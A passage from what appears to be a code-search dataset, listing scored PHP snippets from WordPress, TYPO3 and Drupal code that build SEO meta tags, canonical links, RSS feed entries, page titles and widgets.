$this->get_all_keywords();\n\t\t}\n\n\t\tif (is_single() || is_page() || $this->is_static_posts_page())\n\t\t{\n\t\t\tif ($this->is_static_front_page())\n\t\t\t{\n\t\t\t\t$description = trim(stripcslashes($this->internationalize($fvseop_options['aiosp_home_description'])));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$description = $this->get_post_description($post);\n\t\t\t\t$description = apply_filters('fvseop_description', $description);\n\t\t\t}\n\t\t}\n\t\telseif (is_home())\n\t\t{\n\t\t\t$description = trim(stripcslashes($this->internationalize($fvseop_options['aiosp_home_description'])));\n\t\t}\n\t\telseif (is_category())\n\t\t{\n\t\t\t$description = $this->internationalize(category_description());\n\t\t}\n\n\t\tif (isset($description) && (strlen($description) > $this->minimum_description_length) &&\n\t\t\t!(is_home() && is_paged()))\n\t\t{\n\t\t\t$description = trim(strip_tags($description));\n\t\t\t$description = str_replace('\"', '', $description);\n\t\t\t\n\t\t\t// replace newlines on mac / windows?\n\t\t\t$description = str_replace(\"\\r\\n\", ' ', $description);\n\t\t\t\n\t\t\t// maybe linux uses this alone\n\t\t\t$description = str_replace(\"\\n\", ' ', $description);\n\n\t\t\tif (!isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string = '';\n\t\t\t}\n\n\t\t\t// description format\n\t\t\t$description_format = stripslashes( $fvseop_options['aiosp_description_format'] );\n\n\t\t\tif (!isset($description_format) || empty($description_format))\n\t\t\t{\n\t\t\t\t$description_format = \"%description%\";\n\t\t\t}\n\t\t\t\n\t\t\t$description = str_replace('%description%', $description, $description_format);\n\t\t\t$description = str_replace('%blog_title%', get_bloginfo('name'), $description);\n\t\t\t$description = str_replace('%blog_description%', get_bloginfo('description'), $description);\n\t\t\t$description = str_replace('%wp_title%', $this->get_original_title(), $description);\n\t\t\t$description = trim( str_replace('%page%', $this->paged_description(), $description) );\n\t\t\t$description = __( $description );\n\n\t\t\tif ($fvseop_options['aiosp_can'] && is_attachment())\n\t\t\t{\n\t\t\t\t$url = $this->fvseo_mrt_get_url($wp_query);\n \n\t\t\t\tif ($url)\n\t\t\t\t{\n\t\t\t\t\tpreg_match_all('/(\\d+)/', $url, $matches);\n\n\t\t\t\t\tif (is_array($matches))\n\t\t\t\t\t{\n\t\t\t\t\t\t$uniqueDesc = join('', $matches[0]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$description .= ' ' . $uniqueDesc;\n\t\t\t}\n\t\t\t\n\t\t\t$meta_string .= '<meta name=\"description\" content=\"' . esc_attr($description) . '\" />';\n\t\t}\n\t\t\n\t\t$keywords = apply_filters('fvseop_keywords', $keywords);\n\t\t\n\t\tif (isset($keywords) && !empty($keywords) && !(is_home() && is_paged()))\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$meta_string .= '<meta name=\"keywords\" content=\"' . esc_attr($keywords) . '\" />';\n\t\t}\n\n\t\tif (function_exists('is_tag'))\n\t\t{\n\t\t\t$is_tag = is_tag();\n\t\t}\n\t\t\n /// Added noindex for search\n\t\tif ((is_category() && $fvseop_options['aiosp_category_noindex']) ||\n\t\t\t(!is_category() && is_archive() &&!$is_tag && $fvseop_options['aiosp_archive_noindex']) ||\n\t\t\t($fvseop_options['aiosp_tags_noindex'] && $is_tag) ||\n (is_search() && $fvseop_options['aiosp_search_noindex'])\n )\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$meta_string .= '<meta name=\"robots\" content=\"noindex,follow\" />';\n\t\t}\n\t\t\n\t\t$page_meta = stripcslashes($fvseop_options['aiosp_page_meta_tags']);\n\t\t$post_meta = stripcslashes($fvseop_options['aiosp_post_meta_tags']);\n\t\t$home_meta = stripcslashes($fvseop_options['aiosp_home_meta_tags']);\n\t\t\n\t\tif (is_page() && isset($page_meta) && !empty($page_meta) || $this->is_static_posts_page())\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$meta_string .= $page_meta;\n\t\t}\n\t\t\n\t\tif (is_single() && isset($post_meta) && !empty($post_meta))\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\n\t\t\t$meta_string .= $post_meta;\n\t\t}\n\n\t\tif (is_home() && !empty($home_meta))\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\n\t\t\t$meta_string .= $home_meta;\n\t\t}\n\n\t\t// add google site verification meta tag for webmasters tools\n\t\t$home_google_site_verification_meta_tag = isset( $fvseop_options['aiosp_home_google_site_verification_meta_tag'] ) ? stripcslashes($fvseop_options['aiosp_home_google_site_verification_meta_tag']) : NULL;\n\t\t$home_yahoo_site_verification_meta_tag = isset( $fvseop_options['aiosp_home_yahoo_site_verification_meta_tag'] ) ? stripcslashes($fvseop_options['aiosp_home_yahoo_site_verification_meta_tag']) : NULL;\n\t\t$home_bing_site_verification_meta_tag = isset( $fvseop_options['aiosp_home_bing_site_verification_meta_tag'] ) ? stripcslashes($fvseop_options['aiosp_home_bing_site_verification_meta_tag']) : NULL;\n\n\t\tif (is_home() && !empty($home_google_site_verification_meta_tag))\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\n\t\t\t$meta_string .= wp_kses($home_google_site_verification_meta_tag, array('meta' => array('name' => array(), 'content' => array())));\n\t\t}\n\t\t\n\t\tif (is_home() && !empty($home_yahoo_site_verification_meta_tag))\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\n\t\t\t$meta_string .= wp_kses($home_yahoo_site_verification_meta_tag, array('meta' => array('name' => array(), 'content' => array())));\n\t\t}\n\t\t\n\t\tif (is_home() && !empty($home_bing_site_verification_meta_tag))\n\t\t{\n\t\t\tif (isset($meta_string))\n\t\t\t{\n\t\t\t\t$meta_string .= \"\\n\";\n\t\t\t}\n\n\t\t\t$meta_string .= wp_kses($home_bing_site_verification_meta_tag, array('meta' => array('name' => array(), 'content' => array())));\n\t\t}\n\n\t\tif ($meta_string != null)\n\t\t{\n\t\t\techo wp_kses($meta_string, array('meta' => array('name' => array(), 'content' => array()))) . \"\\n\";\n\t\t}\n\n /// Modification 2010/11/30, adding custom_canonical url\n \n /// check if meta is present\n if (is_single() || is_page() || $this->is_static_posts_page()) {\n\t\t $custom_canonical = trim( get_post_meta($post->ID, \"_aioseop_custom_canonical\", true) );\n }\n\t\t///\n\t\t\n\t\t//if ($fvseop_options['aiosp_can'])\n\t\tif ($fvseop_options['aiosp_can'] || ( isset( $custom_canonical ) && isset($fvseop_options['aiosp_show_custom_canonical']) && $fvseop_options['aiosp_show_custom_canonical'] ) )\n\t\t/// End of modification\n\t\t{\n\t\t if( (isset($custom_canonical) && $custom_canonical) && (isset($fvseop_options['aiosp_show_custom_canonical']) && $fvseop_options['aiosp_show_custom_canonical']) ) {\n\t\t $url = $custom_canonical;\n\t\t } else {\n\t\t\t $url = $this->fvseo_mrt_get_url($wp_query);\n\t\t }\n $url = apply_filters('fvseop_canonical_url', $url);\n\t\t\tif ($url)\n\t\t\t{\t\n\t\t\t\techo '<link rel=\"canonical\" href=\"' . esc_url($url) . '\" />' . \"\\n\";\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "696ad89378eefe5a9c876df1a58bf360", "score": "0.5419769", "text": "function wpccrdfa_install() {\r\n\t\r\n\t$ccrdfaTagSettings = array('tags' => array(\r\n\t\t\t\t\t\t\t\t\t\t\t\tarray( \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'ontology' => 'Title',\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'prefix' => '<span property=\"dc:title\">',\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'suffix' => '</span>'\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t);\r\n\tadd_option('ccrdfaTagSettings', $ccrdfaTagSettings);\r\n}", "title": "" }, { "docid": "b1ae57614f0b5f380c415d1a503e2203", "score": "0.5418611", "text": "function blog_setup() {\n\t\t\tadd_theme_support('title-tag');\n\t\t}", "title": "" }, { "docid": "8ba337dcbf0ddb1af3f952c3c6eeddf8", "score": "0.54181105", "text": "protected function rssView() {\n\t\t\t// RSS view has its own TypoScript settings, fetch these now\n\t\t$conf = $GLOBALS['TSFE']->tmpl->setup['blogXML.'];\n\t\tif(!is_array($conf)) return $this->pi_getLL('no_xml_ts');\n\n\t\tif(empty($conf['10.']['blogStorage']) || empty($conf['10.']['listViewPage']) || empty($conf['10.']['singleViewPage'])) return $this->pi_getLL('check_rss_configuration');\n\t\t\n\t\t\t// Get template\n\t\t$mainTemplate = $this->cObj->fileResource($conf['10.']['templateFile']);\n\t\t$template = $this->cObj->getSubpart($mainTemplate, '###RSS_TEMPLATE###');\n\t\t\n\t\t\t// Now fetch the items to put in the RSS feed\n\t\t$results = $GLOBALS['TYPO3_DB']->exec_SELECTgetRows(\n\t\t\t'uid, title, teaser, crdate',\n\t\t\t'tx_blogs_items',\n\t\t\t'pid = '.$conf['10.']['blogStorage'] . $this->cObj->enableFields('tx_blogs_items'),\n\t\t\t'',\n\t\t\t'crdate DESC',\n\t\t\t$conf['10.']['maxItemsInFeed']\n\t\t);\n\n\t\t\t// Result check\n\t\tif(count($results)) {\n\t\t\t$items = $this->cObj->getSubpart($template, '###ITEM_SUBPART###');\n\t\t\t$subpartArray = array('###ITEM_SUBPART###' => '');\n\t\t\t\t\t\n\t\t\t\t// Loop through results\n\t\t\tforeach($results as $result) {\n\t\t\t\t$markerArray = array(\n\t\t\t\t\t'###TITLE###' => $result['title'],\n\t\t\t\t\t'###TEASER###' => $result['teaser'],\n\t\t\t\t\t'###LINK###' => t3lib_div::getIndpEnv('TYPO3_SITE_URL') . str_replace('&', '&amp;', $this->pi_getPageLink($conf['10.']['singleViewPage'], '', array($this->prefixId => array('itemid' => $result['uid'])))),\n\t\t\t\t);\n\t\t\t\t\n\t\t\t\t$subpartArray['###ITEM_SUBPART###'] .= $this->cObj->substituteMarkerArrayCached($items, $markerArray);\n\t\t\t}\t\t\n\t\t} else {\n\t\t\t$subpartArray['###ITEM_SUBPART###'] = '';\n\t\t}\n\t\t\n\t\t\t\t// Fill markerArray\n\t\t$markerArray = array(\n\t\t\t'###XML_DECLARATION###' => '<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>',\n\t\t\t'###BLOG_TITLE###' => $conf['10.']['blogTitle'],\n\t\t\t'###BLOG_DESCRIPTION###' => $conf['10.']['blogDescription'],\n\t\t\t'###BLOG_LINK###' => $conf['10.']['blogLink']\n\t\t);\n\t\t\n\t\t$content = $this->cObj->substituteMarkerArrayCached($template, $markerArray, $subpartArray);\n\t\t\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "636cb0b5e6b98f53aa3fb372d801013b", "score": "0.54152685", "text": "function bloginfo_rss($show = '') {\n\t/**\n\t * Filter the bloginfo for display in RSS feeds.\n\t *\n\t * @since 2.1.0\n\t *\n\t * @see get_bloginfo()\n\t *\n\t * @param string $rss_container RSS container for the blog information.\n\t * @param string $show The type of blog information to retrieve.\n\t */\n\techo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show );\n}", "title": "" }, { "docid": "300eadf7c6cb92ada29afe855b046111", "score": "0.54088724", "text": "function theme_site_map_term($vars) {\n $out = '';\n if( $vars['term'] ) {\n $out .= '<li>';\n if( !is_null($vars['icon-collapse']) ){\n $alt = 'Expand / Collapse';\n $out .= '<a href=\"#\" class=\"taxonomy-map-expander\" title=\"'.$alt.'\"> </a>';\n }\n if( !is_null($vars['icon-feed']) ){\n $alt = check_plain($vars['term']->name).' RSS Feed';\n $out .= l(' <img src=\"'.$vars['icon-feed'].'\" alt=\"'.$alt.'\" title=\"'.$alt.'\"></img> ', 'taxonomy/term/'.$vars['term']->tid.'/0/feed', array(), NULL, NULL, TRUE, TRUE );\n }\n $out .= l(t($vars['term']->name), 'taxonomy/term/'.$vars['term']->tid, array('class'=>'map-category'));\n $out .= $vars['children'];\n\n // Add the node titles, if they exist...\n if( !is_null($vars['term']->nodes) && $vars['term']->nodes != '' ){\n// $out .= '<li>'.$vars['term']->nodes.'</li>';\n $out .= $vars['term']->nodes;\n }\n $out .= '</li>'.\"\\n\";\n }\n return $out;\n}", "title": "" }, { "docid": "a73127314034bc3875dcd856bb358de3", "score": "0.54078615", "text": "function sm_itemprop_description( $attr ) {\n\t$attr['itemprop'] = 'description';\n\treturn $attr;\n}", "title": "" }, { "docid": "6f6a73cdd64cac6aad0073f7acd04825", "score": "0.5407663", "text": "function make_xml_entry($rss_or_atom, $entryarray) {\n $entrydate = dcdateformat($entryarray[2]);\n $entryurl = make_url($entryarray[0]);\n $entrytext = substr(strip_tags($entryarray[4]),0,300);\n $content = \"\";\n\n switch ($rss_or_atom) {\n case \"rss\":\n\t $content .= \"<item>\";\n\t $content .= \"<title>$entryarray[3]</title>\";\n\t $content .= \"<link>\\\"$entryurl\\\"</link>\";\n \t $content .= \"<description>$entrytext</description>\";\n\t $content .= \"<dc:creator>$entryarray[1]</dc:creator>\";\n\t $content .= \"<dc:date>$entrydate</dc:date>\";\n\t $content .= \"<guid isPermaLink=\\\"true\\\">$entryurl</guid>\";\n\t $content .= \"</item>\";\n\t break;\n case \"atom\":\n \t $content .= \"<entry>\";\n\t $content .= \"<title>$entryarray[3]</title>\";\n\t $content .= \"<link href=\\\"$entryurl\\\" />\";\n\t $content .= \"<id>$entryarray[0]</id>\";\n\t $content .= \"<summary>$entrytext</summary>\";\n\t $content .= \"<author><name>$entryarray[1]</name></author>\";\n\t $content .= \"<updated>$entrydate</updated>\";\n\t $content .= \"</entry>\";\n\t break;\n }\n return $content;\n}", "title": "" }, { "docid": "029629ca816d625ef4e5b02d9abe03d5", "score": "0.5401596", "text": "function beforeFilter() {\n\t\tparent::beforeFilter();\n\t\t$this->Auth->allow('__getArticles', 'articles');\n\t\t$widget_id = 5; // Every widget must set their Widget.id\t\n\t\t$widget = $this->getWidget($widget_id);\n\t\t\n\t\t$widget['types'] = 9; // RSS\n\t\t\t\n\t\t$this->core['widget'] = $widget;\n\t\t//debug(\"hello\");\n\t\t$this->pageTitle = $widget['widget'];\n }", "title": "" }, { "docid": "6707356686125ae790d227ca59a221b8", "score": "0.5399858", "text": "function dahz_default_filters() {\n /* Make text widgets and term descriptions shortcode aware. */\n add_filter( 'widget_text', 'do_shortcode' );\n add_filter( 'term_description', 'do_shortcode' );\n add_filter( 'the_excerpt', 'do_shortcode');\n}", "title": "" }, { "docid": "85185595ff4b5b70a5b59f26f1873fed", "score": "0.5384165", "text": "function tm_trainings_post_author($content){\n\tif (has_term( 'trainings', 'event-categories')) {\n\t\t$content .= '<h2>Company</h2><p><a href=\"' . get_the_author_meta('companyurl') . '\">' . get_the_author_meta('company') . '</a></p><p><a href=\"' . the_author_posts_link() . '\">Trainings by this company</a></p>';\n\t\t$tags = get_the_terms($EM_Event->post_id, EM_TAXONOMY_TAG);\n\t\tif( is_array($tags) && count($tags) > 0 ){\n\t\t\t$content .= '<h2>Training tags</h2>';\n\t\t\t$tags_list = array();\n\t\t\tforeach($tags as $tag){\n\t\t\t$link = get_term_link($tag->slug, EM_TAXONOMY_TAG);\n\t\t\tif ( is_wp_error($link) ) $link = '';\n\t\t\t$tags_list[] = '<a href=\"'. $link .'\">'. $tag->name .'</a>';\n\t\t}\n\t\t$content .= '<p>' . implode(', ', $tags_list) . '</p>';\n\t}\n\t}\n\treturn $content;\n}", "title": "" }, { "docid": "fcbaff025ca6da82d326b8992c579d12", "score": "0.5376575", "text": "function\nmisc_seo_description ($html_body)\n{\n $p = strip_tags ($html_body);\n $p = str_replace (array ('&nbsp;', '&gt;', '&lt;', \"\\n\"), ' ', $p);\n $p = misc_get_keywords ($p, 1);\n return '<meta name=\"Description\" content=\"'.$p.'\">'\n .'<meta name=\"keywords\" content=\"'.$p.'\">';\n}", "title": "" }, { "docid": "43d5e53a0e60e7f1cd62b7982a984e71", "score": "0.5374767", "text": "function metaTags() {\n global $wp_rewrite;\n\n if (is_home()) {\n echo '<link rel=\"commands\" title=\"Search '.htmlentities(get_bloginfo('name')).' Weblog\" href=\"'.get_option('home').'/index.php?ubiquity=search\" />' . \"\\n\";\n }\n }", "title": "" }, { "docid": "8b6a1543d61a25e003ad48165465df84", "score": "0.5371175", "text": "public function setTitle() {\n $post_title = NULL;\n\n if (!is_null($this->rss_item->get_title())) {\n // create document title\n $post_title = preg_replace(\"/\\[([^\\[\\]]*+|(?R))*\\]/\",\"\",$this->rss_item->get_title()); \n //$this->vars->post_title = ucwords( strtolower( CleanText::makeUTF8(trim($post_title)) ) );\n $this->vars->post_title = trim($post_title);\n // create seo_title value\n $this->vars->post_seo_title = CleanText::sanitize(trim($this->vars->post_title));\n }\n else if ((isset($this->odata_item->title)) && (! is_null($this->odata_item->title))) {\n $this->vars->post_title = trim($this->odata_item->title);\n // create seo_title value\n $this->vars->post_seo_title = CleanText::sanitize(trim($this->vars->post_title));\n }\n else {\n $this->vars->post_title = NULL;\n $this->vars->post_seo_title = NULL;\n }\n\n if (!empty($this->vars->post_title)) { $this->vars->post_title = htmlspecialchars_decode( htmlspecialchars_decode( $this->vars->post_title )); }\n }", "title": "" }, { "docid": "a2b627540cb1bde017c972e39c53e2aa", "score": "0.5369956", "text": "function smt_head( ) { ?>\r\n\t\t\r\n\t\t<?php if ( smt_getOption( 'integration', 'rss' ) ) { ?>\r\n\t\t\t<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS Feed\" href=\"<?php echo smt_getOption( 'integration', 'rss' ) ?>\" />\r\n\t\t<?php } ?>\r\n\t\t\r\n\t\t<style type=\"text/css\">\r\n\t\t\t<?php echo smt_getOption( 'integration','css' )?>\r\n\t\t</style>\r\n\t\t\r\n\t\t<?php echo smt_getOption( 'integration','headcode' ); ?>\r\n\t\t\r\n\t\t<?php smt_seo(); ?>\r\n\t\t\r\n\t<?php }", "title": "" }, { "docid": "fa09b6b498ba38aedef686d4ac5e0301", "score": "0.5368731", "text": "public function hook_article_read_top(){return;}", "title": "" }, { "docid": "6a7362277906af216d522aa4f68794a6", "score": "0.53671134", "text": "function bpdw_filter_title( $retval ) {\n\tswitch( $retval ) {\n\t\tcase __( 'Docs Directory', 'buddypress' ) :\n\t\t\treturn __( 'Wiki', 'bpdw' );\n\n\t\t\tbreak;\n\n\t\tdefault :\n\t\t\treturn $retval;\n\n\t\t\tbreak;\n\t}\n}", "title": "" }, { "docid": "4c14b285086f0167fe0db07df4e736d7", "score": "0.53652114", "text": "function get_the_title_tag() {\n\t\tglobal $post; \n\n\tif(is_front_page()) { // front page\n\t\tbloginfo('description'); //getting tag line \n\t} elseif (is_page() || is_single() ) { //single or posting\n\t\tthe_title($post->post_parent); //getting title\n\t} \n\n\telse { //for the rest\n\t\tbloginfo('description' ); //page title or postings title\n\t}\n\n\techo ' | '; //sepARATOR!\n\tbloginfo('name'); //name of website\n\n\n\t}", "title": "" }, { "docid": "d9aec0be7ab960a19efe9242b070e70b", "score": "0.53564084", "text": "function get_the_category_rss($type = null) {\n\tif ( empty($type) )\n\t\t$type = get_default_feed();\n\t$categories = get_the_category();\n\t$tags = get_the_tags();\n\t$the_list = '';\n\t$cat_names = array();\n\n\t$filter = 'rss';\n\tif ( 'atom' == $type )\n\t\t$filter = 'raw';\n\n\tif ( !empty($categories) ) foreach ( (array) $categories as $category ) {\n\t\t$cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter);\n\t}\n\n\tif ( !empty($tags) ) foreach ( (array) $tags as $tag ) {\n\t\t$cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter);\n\t}\n\n\t$cat_names = array_unique($cat_names);\n\n\tforeach ( $cat_names as $cat_name ) {\n\t\tif ( 'rdf' == $type )\n\t\t\t$the_list .= \"\\t\\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\\n\";\n\t\telseif ( 'atom' == $type )\n\t\t\t$the_list .= sprintf( '<category scheme=\"%1$s\" term=\"%2$s\" />', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) );\n\t\telse\n\t\t\t$the_list .= \"\\t\\t<category><![CDATA[\" . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . \"]]></category>\\n\";\n\t}\n\n\t/**\n\t * Filter all of the post categories for display in a feed.\n\t *\n\t * @since 1.2.0\n\t *\n\t * @param string $the_list All of the RSS post categories.\n\t * @param string $type Type of feed. Possible values include 'rss2', 'atom'.\n\t * Default 'rss2'.\n\t */\n\treturn apply_filters( 'the_category_rss', $the_list, $type );\n}", "title": "" }, { "docid": "c9f9fc27fce781636eca929feaaf305c", "score": "0.53560257", "text": "function rad_rss_widget(){\n\techo '<div class=\"rss-widget\">';\n\twp_widget_rss_output( array(\n\t\t'url' => 'http://wordpress.melissacabral.com/feed',\n\t\t'show_summary' => 1,\n\t\t'items' => 5,\n\t\t'show_date' => 1,\n\t\t'show_author' => 0,\n\t) );\n\techo '</div>';\n}", "title": "" }, { "docid": "37c7ad0527a9a7b554d4ee463e4da701", "score": "0.5355926", "text": "function show_date_and_source_of_the_post(){ ?>\n <div class=\"date\">\n <span class=\"lsf\">&#xE12b;</span>\n <?php\n if (function_exists('qtrans_getLanguage')){\n if (qtrans_getLanguage() ==\"kh\" || qtrans_getLanguage() ==\"km\"){\n echo convert_date_to_kh_date(get_the_time('j.M.Y'));\n }else {\n echo get_the_time('j F Y');\n }\n }else {\n echo get_the_time('j F Y');\n } ?>\n </div>\n &nbsp;\n <?php\n global $post;\n if (taxonomy_exists('news_source') && isset($post)){\n echo '<div class=\"news-source\">';\n $terms_news_source = get_the_terms( $post->ID, 'news_source' );\n if ( $terms_news_source && ! is_wp_error( $terms_news_source ) ) {\n if ($terms_news_source){\n $news_sources = \"\";\n echo '<span class=\"icon-news\"></span> ';\n foreach ($terms_news_source as $term) {\n $term_link = get_term_link( $term, 'news_source' );\n if( is_wp_error( $term_link ) )\n continue;\n //We successfully got a link. Print it out.\n $news_sources .= '<a href=\"' . $term_link . '\"><srong>' . $term->name . '</srong></a>, ';\n }\n echo substr($news_sources, 0, -2);\n }\n }else if (get_post_meta($post->ID, \"rssmi_source_feed\", true)){\n echo '<span class=\"icon-news\"></span> ';\n $news_source_id = get_post_meta($post->ID, \"rssmi_source_feed\", true);\n echo get_the_title($news_source_id);\n }\n echo '</div><!--news-source-->';\n }// if news_source exists\n if (taxonomy_exists('public_announcement_source')){\n echo '<div class=\"news-source\">';\n $terms_public_announcement_source = get_the_terms( $post->ID, 'public_announcement_source' );\n if ( $terms_public_announcement_source && ! is_wp_error( $terms_public_announcement_source ) ) {\n if ($terms_public_announcement_source){\n $public_announcement_sources = \"\";\n echo '<span class=\"icon-news\"></span> ';\n foreach ($terms_public_announcement_source as $term) {\n $term_link = get_term_link( $term, 'public_announcement_source' );\n if( is_wp_error( $term_link ) )\n continue;\n //We successfully got a link. Print it out.\n $public_announcement_sources .= '<a href=\"' . $term_link . '\"><srong>' . $term->name . '</srong></a>, ';\n }\n echo substr($public_announcement_sources, 0, -2);\n }\n }else if (get_post_meta($post->ID, \"rssmi_source_feed\", true)){\n echo '<span class=\"icon-news\"></span> ';\n $public_announcement_source_id = get_post_meta($post->ID, \"rssmi_source_feed\", true);\n echo get_the_title($public_announcement_source_id);\n }\n echo '</div><!--news-source-->';\n }// if public_announcement_source exists\n}", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "0321b244ac2bc89e528ea6e8ca38a65c", "score": "0.0", "text": "public function index()\n {\n $user = Auth::user();\n // dd($user);\n $totalizations = Totalization::where('user_id', $user->id)->avg('evaluation');\n // dd($totalizations);\n $totalization = round($totalizations);\n return view('users.index', [\n 'user' => $user,\n 'totalization' => $totalization,\n ]);\n }", "title": "" } ]
[ { "docid": "a1420ad0fb284c611971591393b45aef", "score": "0.7509679", "text": "public function index()\n\t{\n\t\t$resources = Resources::all();\n\t\t$collection = array();\n\t\t\n\t\tforeach ($resources as $name => $options)\n\t\t{\n\t\t\tif (false === value($options->visible)) continue;\n\t\t\t\n\t\t\t$collection[$name] = $options;\n\t\t}\n\n\t\t$table = $this->presenter->table($collection);\n\n\t\tSite::set('title', trans('orchestra/foundation::title.resources.list'));\n\t\tSite::set('description', trans('orchestra/foundation::title.resources.list-detail'));\n\n\t\treturn View::make('orchestra/foundation::resources.index', array(\n\t\t\t'eloquent' => $collection,\n\t\t\t'table' => $table,\n\t\t));\n\t}", "title": "" }, { "docid": "03c28056ac36b9758780b52bcb56ea11", "score": "0.7453479", "text": "public function actionList() {\n $this->getList();\n }", "title": "" }, { "docid": "79ad7ebbde0cad2af3c2becbd440dc9d", "score": "0.736227", "text": "public function listing();", "title": "" }, { "docid": "0aa4853e6e1c011310051c464837c9be", "score": "0.7341522", "text": "public function index()\n {\n $resources = $this->resource->paginate(10);\n\n return view('manager.resources.index', compact('resources'));\n }", "title": "" }, { "docid": "f6249e52b27cd61546f9ac9938889b8c", "score": "0.72989535", "text": "public function index()\n {\n $resources = Resource::all();\n return view('admin.resource.list')->with('resources',$resources);\n }", "title": "" }, { "docid": "dd0281461ff38e01dc7daaf263a98684", "score": "0.72688746", "text": "function index() {\n $this->getList();\n }", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.72478926", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "eacf64f52d5b73d527cae880dfe65bc1", "score": "0.72152483", "text": "public function index()\n {\n return RecipeListResource::collection(Recipe::paginate(10));\n }", "title": "" }, { "docid": "5e485f5256447384c89b0040914b850e", "score": "0.7209843", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'desc')->paginate(10);\n\n return view('admin.resource.index', [\n 'resources' => $resources\n ]);\n }", "title": "" }, { "docid": "2e3564beb136b7de619ee51f1088fb53", "score": "0.719667", "text": "public function index()\n {\n\n return \\View::make('resources.index')\n ->with(['displayName' => 'resources']\n );\n }", "title": "" }, { "docid": "6ba01bde2894545b26719d51e92cebf6", "score": "0.71551645", "text": "public function indexAction()\n {\n\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findAllDesc();\n\n return $this->render('admin/resource/index.html.twig', array(\n 'resources' => $resources,\n ));\n }", "title": "" }, { "docid": "42bee349ff83930cb164b3a793f6d5b2", "score": "0.71432024", "text": "public function listAction()\n {\n //Setup search properties form\n $searchForm = $this->service->getForm('Search');\n $action = $this->view->url(['action'=>'search'], 'controllers');\n $searchForm->setAction($action);\n $this->view->searchForm = $searchForm;\n //Setup properties list\n $this->service->setPaginatorOptions($this->getAppSetting('paginator'));\n $page = (int) $this->param($this->view->translate('page'), 1);\n $collection = $this->service->retrievePropertyCollection($page);\n $this->view->collection = $collection;\n $this->view->paginator = $this->service->getPaginator($page);\n }", "title": "" }, { "docid": "d7820004a578ddc16d57dff08d715ef0", "score": "0.713195", "text": "public function showResource()\n\t{\n\t\treturn view('resources.list')->with('resources', Resources::all());\n\t}", "title": "" }, { "docid": "1ac60064d05eb6556018c88c4294567a", "score": "0.7113176", "text": "public function index()\n\t{\n\t\t$this->lists();\n\t}", "title": "" }, { "docid": "21284f1b8a31a69a0252300fcccbc357", "score": "0.71072334", "text": "public function listingAction()\r\n {\r\n\r\n $oZendDbSelect = new Zend_Db_Select(Zend_Db_Table::getDefaultAdapter());\r\n $oZendDbSelect->from('View_Rclient_Types_Listing')->order('cl_type_id asc');\r\n\r\n // Query search engine\r\n $oMySearchEngine = new My_Search_Engine($oZendDbSelect);\r\n $oMySearchEngine->findWordOn(array('cl_type_libelle' => array('operator' => 'like')));\r\n\r\n $oMySearchEngine->findByFields(\r\n array(\r\n 'cl_type_id' => array('operator' => 'eql'),\r\n 'cl_type_libelle' => array('operator' => 'like')\r\n )\r\n );\r\n\r\n $oMySearchEngine->makeOrderBy();\r\n\r\n // Downloading the filtered list in CSV\r\n if ($this->_helper->ContextSwitch()->getCurrentContext() == 'csv') {\r\n $oExport = new My_Data_Export_CSV(new My_Data_Export_Source_Adapter_Select($oMySearchEngine->getSelect()));\r\n $this->view->csv = $oExport->make();\r\n $this->view->filename = Phoenix_Data_Export_Csv::buildFileName();\r\n } // Viewing the filtered list in HTML\r\n else {\r\n // Initialize paginator adapter\r\n $oAdapter = new Zend_Paginator_Adapter_DbSelect($oMySearchEngine->getSelect());\r\n\r\n // Pagination management\r\n $oPaginator = new My_Paginator($oAdapter);\r\n $oPaginator->setCurrentPageNumber($this->_getParam('page'));\r\n $oPaginator->setItemCountPerPage(15);\r\n $this->view->paginator = $oPaginator;\r\n }\r\n }", "title": "" }, { "docid": "68a189cc0bf8bc79e0e116676dbdb66b", "score": "0.70221174", "text": "public function actionList()\n {\n $this->assign(\"name\", \"leiyi\");\n\n $this->display('home/page/list.tpl');\n }", "title": "" }, { "docid": "eeebaafb341e5dcfe7cd3e2d7c48f741", "score": "0.7020841", "text": "public function listAction()\n {\n \t$currentPage = 1;\n \t//Check if the user is not on page 1\n \t$i = $this->_request->getQuery('i');\n \tif(!empty($i))\n \t{\n \t\t$currentPage = $this->_request->getQuery('i');\n 